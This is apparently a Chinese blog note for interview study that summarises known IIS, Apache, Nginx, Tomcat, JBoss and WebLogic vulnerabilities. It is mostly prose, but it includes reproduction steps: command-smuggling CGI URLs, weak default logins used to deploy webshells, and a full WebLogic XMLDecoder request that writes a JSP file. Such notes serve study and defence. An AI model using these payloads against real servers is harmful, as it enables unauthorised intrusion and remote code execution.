web中间件常见漏洞总结

web中间件常见漏洞总结

这个笔记会长期更新,方便面经,不过我就不会放大量图片和复现过程了。要用到的时候自己在网上查就行。

IIS

解析漏洞

IIS 6.x

1.基于文件名
该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。
image-20240408122548125

另外,IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp,

2.基于文件夹名
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
image-20240408122610096

IIS7.x

IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文件。
image-20240408122906822

PUT任意文件写入

IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入。
image-20240408123050045

IIS短文件漏洞

1.当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
2.当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。

复现:
当访问构造的某个存在的短文件名,会返回404
当访问构造的某个不存在的短文件名,会返回400

局限:

  1. 如果文件名本身太短也是无法猜解的;
  2. 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解;
  3. 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配;
  4. 如果文件夹名前6位字符带点”.”,扫描程序会认为是文件而不是文件夹,最终出现误报;
  5. 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测。

HTTP.SYS远程代码执行 (MS15-034)

影响范围:
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

复现:编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞
然后用msf就行了

RCE-CVE-2017-7269(缓冲区溢出

影响范围:
在Windows 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0并开启WebDAV扩展。

这个直接在网上搜exp吧

Apache

解析漏洞

未知扩展名解析漏洞

Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在默mime.types文件内)则继续向左识别,直到识别到合法后缀才进行解析。

复现:访问phpinfo.php.xxx
image-20240408175659795

AddHandler导致的解析漏洞

如果运维人员给.php后缀增加了处理器:
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。

image-20240409003326436

ApacheHTTPD换行解析漏洞(CVE-2017-15715)

影响范围:2.4.0~2.4.29版本
环境:phpstudy2014Apache+PHP5.4n

此漏洞形成的根本原因,在于正则表达式中不仅匹配字符串结尾位置,也可以匹配或
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
image-20240409003603878

Nginx

Nginx配置文件错误导致的解析漏洞

对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。

server {
location ~ \.php$ {
root /work/www/test;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_pass unix:/tmp/php-fpm.sock;
}
}

这个是常见的配置,这个是由配置错误导致的,与版本无关

Nginx空字节任意代码执行漏洞

影响版本:Nginx 0.5*, 0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37

比如说上传了一个图片,图片内容是phpinfo
然后访问图片的时候抓包,改成info.jpg..php在hex中吧.改成00

Nginx文件名逻辑漏洞CVE-2013-4547

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

值得注意的是,windows是不允许文件名存在空格的,所以没有这个漏洞。

比如说上传了一个图片,图片内容是phpinfo
图片名字命名为info.jpg 后面要加个空格
然后访问的时候访问info.jpg抓包,改成info.jpg...php,然后把后面两个点改成20和00

Nginx配置错误导致的安全问题

目录穿越

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞
如下:
image-20240410174629999

修复:只需要保证location和alias的值都有后缀/或都没有/这个后缀。

目录遍历

当Nginx配置文件中,autoindex 的值为on时,将造成一个目录遍历漏洞。

Tomcat

Tomcat任意文件写入(cve-2017-12615)

漏洞本质是Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件:

环境:Tomcat/8.0.30
image-20240412214356602

复现
image-20240412214418874

Tomcat远程代码执行(CVE-2019-0232

影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
影响系统: Windows
image-20240412214504805

image-20240412214602336
image-20240412214610164

image-20240412214623788

在Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建lxhsec.bat文件,内容任意。

访问http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir

执行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+use

image-20240412214728244

Tomcat+弱口令&&后台getshell

环境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用户的权限:

<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

正常安装的情况下,tomcat7.0.94中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击

访问 http://127.0.0.1:8080/manager/html ,输入弱密码tomcat:tomcat,登陆后台
image-20240412214927763

生成war包:
jar -cvf lxhspy.war lxhspy.jsp

部署后,访问 http://127.0.0.1:8080/war包名/包名内文件名, 如下。

image-20240412214949743

Jboss

JBoss 5.x/6.x反序列化漏洞CVE-2017-12149

访问 /invoker/readonly
返回500,说明页面存在,此页面存在反序列化漏洞。
image-20240412215116357

然后直接用工具打

JBoss JMXlnvokerServlet 反序列化漏洞

访问 /invoker/JMXInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。
image-20240412215204203

然后也直接用工具打

JBoss EJBInvokerServlet 反序列化漏洞

访问 /invoker/EJBInvokerServlet
返回如下,说明接口开放,此接口存在反序列化漏洞。
image-20240412215238577

JBoss <=4.x JBossMQJMS反序列化漏洞 CVE-2017-7504

环境:jboss-4.2.3

设置外网访问:
在C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml
将address=”${jboss.bind.address} 改为:address=”0.0.0.0”, 重启Jboss

<Connector port="8080" address="${jboss.bind.address}"
maxThreads="250" maxHttpHeaderSize="8192"
emptySessionPath="true" protocol="HTTP/1.1"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="20000" disableUploadTimeout="true" />

访问/jbossmq-httpil/HTTPServerILServlet,
返回This is the JBossMQ HTTP-IL,说明页面存在,此页面存在反序列化漏洞。
image-20240412215413242

弱口令Administration Console

Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包。

JMX Console未授权访问

JMXConsole默认存在未授权访问,直接点击JBoss主页中的JMXConsole链接进入JMXConsole页面。

进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署。
image-20240412215509434

WebLogic

XMLDecoder反序列化漏洞(CVE-2017-10271 & CVE-2017-3506

访问 /wls-wsat/CoordinatorPortType
返回如下页面,则可能存在此漏洞。
image-20240412215923024

更多payload

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

写入数据包如下

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Content-Length: 629
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test33.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("test777776666666"); %>
]]>
</string>
</void>
<void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Weblogic wls9_async_response,wls-wsat反序列化 CVE-2019-2725

影响组件:bea_wls9_async_response.war, wls-wsat.war
影响版本:10.3.6.0, 12.1.3.0

Weblogic WLS Core Components反序列化CVE-2018-2628

Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

这个只能用工具复现了

Weblogic任意文件上传CVE-2018-2894

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。

影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3

访问 ws_utc/config.do,设置Work Home Dirws_utc应用的静态文件css目录C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

因为访问这个目录是无需权限的,提交后,点击左侧 安全-> 添加,然后上传Webshell

image-20240412220914147
点击提交并抓包,获取响应数据包中的时间戳。
image-20240412220928450
然后访问 http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:

Weblogic SSRF漏洞CVE-2014-4210

影响版本:10.0.2.0, 10.3.6.0

访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞,填写任意信息,如下
image-20240412221022045

点击Search,并抓包,抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET。

image-20240412221031335

参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回`error code 若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type。 访问不存在的端口,将返回could not connect over HTTP to server`

弱口令&&后台shell

访问http://127.0.0.1:7001/console
自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台。

然后上传war包就行


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。